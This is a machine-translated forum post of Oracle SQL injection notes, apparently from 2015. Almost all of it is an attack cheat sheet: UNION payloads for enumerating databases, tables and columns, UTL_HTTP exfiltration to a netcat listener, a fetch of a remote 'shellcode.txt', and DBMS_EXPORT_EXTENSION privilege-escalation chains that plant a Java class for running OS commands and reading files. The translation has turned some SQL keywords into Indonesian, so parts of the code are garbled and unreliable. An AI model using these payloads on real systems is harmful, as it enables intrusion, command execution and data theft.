Artikel ini adalah artikel cermin dari terjemahan mesin, silakan klik di sini untuk melompat ke artikel aslinya.

Melihat: 11931|Jawab: 0

[Komunikasi Aman] Oracle catatan injeksi SQL

[Salin tautan]
Diposting pada 24/01/2015 12.58.17 | | |
Posting ini terakhir diedit oleh tes pada 2015-1-24 13:01

Komentar: --
Eksekusi beberapa kalimat tidak didukung, dan kueri federasi didukung
Nama database, nama tabel, dan nama kolom semuanya dikapitalisasi.


panjang (bidang)
ascii(substr(bidang, N, 1))


dan (pilih count(*) dari dual)>0 -- Tentukan apakah itu oracle atau tidak

Perintah oleh n--

dan 1=2 union select null, null,.....,null from dual-- ganti null dengan N atau 'N'

dan 1=2 union select null, (pernyataan sql) ,.....,null dari dual -- ubah menjadi (pernyataan sql) di 'N'

dan (pilih count(*) dari all_objects di mana object_name='UTL_HTTP')>0 -- Tentukan apakah UTL_HTTP didukung (IP ekspor diketahui)

dan UTL_HTTP.request('http://LocalIP:port'|| (pernyataan SQL)) =1-- Kirim pesan dari jarak jauh ke lokal, pendengar lokal nc -vv -l -p 1234


Pernyataan SQL
Pilih spanduk dari sys.v_$version di mana rownum=1 untuk mengkueri versi oracle
pilih anggota dari v$logfile di mana rownum=1 Kueri jalur file log (Windows atau Linux)
pilih utl_inaddr.get_host_address dari dual untuk mengkueri IP mendengarkan database
Pilih instance_name dari v$instance untuk mengkueri sid
pilih nama dari v$database Kueri nama database saat ini
Pilih sys_context ('userenv','current_user') dari Pengguna Database Kueri Ganda
Pilih * dari session_roles di mana rownum=1 untuk mengkueri izin pengguna saat ini
Pilih * dari session_roles di mana rownum=1 [dan peran<>'nama izin pertama']



pilih table_name dari user_tables di mana rownum=1 Segmen tabel pertama dari database saat ini
Pilih table_name||','|| tablespace_name dari user_tables di mana rownum=1 Segmen tabel pertama, database (untuk verifikasi, mungkin bukan v$database)
pilih table_name dari user_tables di mana rownum=1 dan table_name<>'segmen tabel pertama' Segmen tabel kedua dari database saat ini

pilih column_name dari user_tab_columns di mana rownum=1 dan table_name='Segmen Tabel' Bidang pertama yang sesuai dengan nama tabel
pilih column_name dari user_tab_columns di mana rownum=1 dan table_name='Segmen tabel' dan column_name<>'Bidang pertama' Bidang kedua yang sesuai dengan nama tabel

Pilih bidang dari segmen tabel di mana rownum=1 melanggar konten baris pertama
Pilih bidang dari segmen tabel di mana rownum=1 dan <> bidang 'Konten baris pertama' mengekspos konten baris kedua


Lintas perpustakaan
Pilih pemilik dari all_tables di mana rownum=1 mengkueri nama database pertama
pilih owner dari all_tables di mana rownum=1 dan owner<> 'Nama database pertama' untuk mengkueri nama database kedua

pilih table_name dari all_tables di mana rownum=1 dan owner='database name' Kueri nama tabel pertama dari database yang sesuai
Pilih table_name dari all_tables di mana rownum=1 dan owner='nama database' dan table_name<>'nama tabel pertama' untuk mengkueri nama tabel kedua dari database yang sesuai

pilih column_name dari all_tab_columns di mana rownum=1 dan owner='nama database' dan table_name='segmen tabel' Bidang pertama yang sesuai dengan nama tabel
pilih column_name dari all_tab_columns di mana rownum=1 dan owner='nama database' dan table_name='segmen tabel' dan column_name<>'bidang pertama' Bidang kedua yang sesuai dengan nama tabel

Pilih bidang dari database. segmen tabel di mana rownum=1 melanggar konten baris pertama
Pilih bidang dari database. Segmen tabel di mana rownum=1 dan bidang <> 'Konten Baris Pertama' melanggar konten baris kedua





SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT". PUT(:P 1); AKHIR multi-pernyataan; --','SYS',0,'1',0)--

Jika 'lolos, chr() digunakan.

SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES(chr(70)|| chr(79)|| chr(79),chr(66)|| chr(65)|| chr(82), chr(68)|| chr(66)|| chr(77)|| chr(83)|| chr(95)|| chr(79)|| chr(85)|| chr(84)|| chr(80)|| chr(85)|| chr(84)|| chr(34)|| chr(46)|| chr(80)|| chr(85)|| chr(84)|| chr(40)|| chr(58)|| chr(80)|| chr(49)|| chr(41)|| chr(59)|| Multi-pernyataan || chr(69)|| chr(78)|| chr(68)|| chr(59)|| chr(45)|| chr(45),chr(83)|| chr(89)|| chr(83),0,chr(49),0)=0--

Jika beberapa kalimat terlalu panjang, Anda dapat menulis pernyataan ke file situs web dan menggunakan utl_http.request untuk mengambilnya.

SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT". PUT(:P 1); utl_http.request('http://www.guetsec.com/shellcode.txt'); --','SYS',0,'1',0)--





Membuat paket JAVA SecTest
runCMD digunakan untuk mengeksekusi perintah sistem
dan '1'<>'a'|| (pilih SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT". PUT(:P 1); SEGERA MENGEKSEKUSI PRAGMA AUTONOMOUS_TRANSACTION; MULAI EKSEKUSI SEGERA'''membuat atau mengganti dan mengkompilasi sumber java bernama "SecTest" sebagai java.io impor.*; kelas publik SecTest memperluas Object{public static String runCMD(String args){try{BufferedReader myReader=new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec(args) .getInputStream())); String stemp,str=""; while((stemp=myReader.readLine())!=null) str+=stemp+"\n"; myReader.close(); mengembalikan str; }catch(Pengecualian e){return e.toString(); }}}''''; AKHIR; ''; AKHIR; --','SYS',0,'1',0) dari dual)--

readFile digunakan untuk membaca file
dan '1'<>'a'|| (pilih SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT". PUT(:P 1); SEGERA MENGEKSEKUSI PRAGMA AUTONOMOUS_TRANSACTION; MULAI EKSEKUSI SEGERA'''membuat atau mengganti dan mengkompilasi sumber java bernama "SecTest" sebagai java.io impor.*; kelas publik SecTest memperluas Object{public static String readFile(String filename){try{BufferedReader myReader=new BufferedReader(new FileReader(filename)); String stemp,str=""; while((stemp=myReader.readLine())!=null) str+=stemp+"\n"; myReader.close(); mengembalikan str; }catch(Pengecualian e){return e.toString(); }}}''''; AKHIR; ''; AKHIR; --','SYS',0,'1',0) dari dual)--



Berikan izin Java
dan '1'<>'a'|| (pilih SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT". PUT(:P 1); SEGERA LAKSANAKAN ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION; MULAI EKSEKUSI SEGERA ''''begin dbms_java.grant_permission(''''''''PUBLIC'''''''',''''''''SYS:java.io.FilePermission'''''''',''''''''<<ALL FILES>>'''''''',''''''''eksekusi''''''''); akhir; ''''; AKHIR; ''; AKHIR; --','SYS',0,'1',0) dari dual)--



Membuat fungsi
Fungsi SecRunCMD
dan '1'<>'a'|| (pilih SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT". PUT(:P 1); SEGERA LAKSANAKAN ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION; MULAI EKSEKUSI SEGERA ''''buat atau ganti fungsi SecRunCMD(p_cmd di varchar2) mengembalikan varchar2 sebagai bahasa java name''''''''SecTest.runCMD(java.lang.String) mengembalikan String'''''''' ; ''''; AKHIR; ''; AKHIR; --','SYS',0,'1',0) dari dual)--

Fungsi SecReadFile
dan '1'<>'a'|| (pilih SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT". PUT(:P 1); SEGERA LAKSANAKAN ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION; MULAI EKSEKUSI SEGERA ''''fungsi buat atau ganti SecReadFile(nama file di varchar2) mengembalikan varchar2 sebagai nama java bahasa''''''''SecTest.readFile(java.lang.String) mengembalikan String' '''''''; ''''; AKHIR; ''; AKHIR; --','SYS',0,'1',0) dari dual)--



Berikan izin untuk menjalankan fungsi publik
SecRunCMD diberikan izin
dan '1'<>'a'|| (pilih SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT". PUT(:P 1); SEGERA LAKSANAKAN ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION; MULAI EKSEKUSI SEGERA ''''memberikan semua di SecRunCMD ke publik''''; AKHIR; ''; AKHIR; --','SYS',0,'1',0) dari dual)--

SecReadFile
dan '1'<>'a'|| (pilih SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT". PUT(:P 1); SEGERA LAKSANAKAN ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION; MULAI EKSEKUSI SEGERA ''''memberikan semua di SecReadFile ke publik''''; AKHIR; ''; AKHIR; --','SYS',0,'1',0) dari dual)--



Mendeteksi apakah fungsi berhasil dibuat
dan (pilih count(*) dari all_objects di mana object_name='SECRUNCMD')>0--
dan (pilih count(*) dari all_objects di mana object_name='SECREADFILE')>0--



Jalankan perintah
dan '1'<>(pilih sys. SecRunCMD('Jalankan perintah') dari dual)--
dan '1'<>(pilih sys. SecReadFile('alamat fisik file') dari dual)--
atau
dan 1=2 union select null,...,sys. SecRunCMD('execute command'),...,null dari dual--
dan 1=2 union select null,...,sys. SecReadFile('alamat fisik file'),...,null dari dual--
atau
dan '1'<>(pilih UTL_HTTP.request('http://LocalIP:port'|| GANTI(GANTI(SISTEM. SecRunCMD('Jalankan Perintah'),' ',' '),'\n',' ')) dari dual)--
dan '1'<>(pilih UTL_HTTP.request('http://LocalIP:port'|| GANTI(GANTI(SISTEM. SecReadFile('Alamat Fisik File'),' ',' ','\n',' ')) dari dual)--



Hapus fungsi
dan '1'<>'a'|| (pilih SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT". PUT(:P 1); SEGERA LAKSANAKAN ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION; MULAI JALANKAN FUNGSI DROP '''''segera SecRunCMD''''; AKHIR; ''; AKHIR; --','SYS',0,'1',0) dari dual)--
dan '1'<>'a'|| (pilih SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT". PUT(:P 1); SEGERA LAKSANAKAN ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION; MULAI JALANKAN SEGERA ''''drop fungsi SecReadFile''''; AKHIR; ''; AKHIR; --','SYS',0,'1',0) dari dual)--




Mantan:Bisakah saya mengajukan permohonan moderasi, kondisi apa yang saya butuhkan?
Depan:ORALCE memperoleh nama host dan alamat IP
Sanggahan:
Semua perangkat lunak, materi pemrograman, atau artikel yang diterbitkan oleh Code Farmer Network hanya untuk tujuan pembelajaran dan penelitian; Konten di atas tidak boleh digunakan untuk tujuan komersial atau ilegal, jika tidak, pengguna akan menanggung semua konsekuensi. Informasi di situs ini berasal dari Internet, dan sengketa hak cipta tidak ada hubungannya dengan situs ini. Anda harus sepenuhnya menghapus konten di atas dari komputer Anda dalam waktu 24 jam setelah pengunduhan. Jika Anda menyukai program ini, harap dukung perangkat lunak asli, pembelian pendaftaran, dan dapatkan layanan asli yang lebih baik. Jika ada pelanggaran, silakan hubungi kami melalui email.

Mail To:help@itsvse.com